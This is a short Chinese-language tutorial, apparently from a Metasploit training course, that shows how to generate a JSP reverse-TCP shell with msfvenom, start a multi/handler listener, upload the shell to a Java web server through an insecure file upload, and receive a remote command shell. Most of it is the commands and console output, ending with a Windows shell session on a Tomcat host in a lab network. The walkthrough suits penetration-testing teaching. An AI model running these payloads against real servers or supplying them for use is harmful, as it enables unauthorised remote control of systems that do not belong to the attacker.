在其许多技巧中,Metasploit还允许我们生成和处理基于Java的外壳程序,以获得对系统的远程访问。那里有很多写得不好的Web应用程序,它们使您可以上传所选文件并通过在浏览器中调用来运行它。
首先,我们先生成一个反向连接的jsp shell,然后设置我们的有效载荷侦听器。
root@kali:~# msfvenom -a x86 --platform windows -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=8080 -f raw msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp PAYLOAD => java/jsp_shell_reverse_tcp msf exploit(handler) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 msf exploit(handler) > set LPORT 8080 LPORT => 8080 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.101:8080 [*] Starting the payload handler...
此时,我们需要将Shell上传到支持jsp文件的远程Web服务器。将文件上传到服务器后,剩下的就是让我们在浏览器中请求文件并接收我们的shell。
[*] Command shell session 1 opened (192.168.1.101:8080 -> 192.168.1.201:3914) at Thu Feb 24 19:55:35 -0700 2011 hostname hostname xen-xp-sploit C:\Program Files\Apache Software Foundation\Tomcat 7.0>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection 3: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.1.201 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 C:\Program Files\Apache Software Foundation\Tomcat 7.0>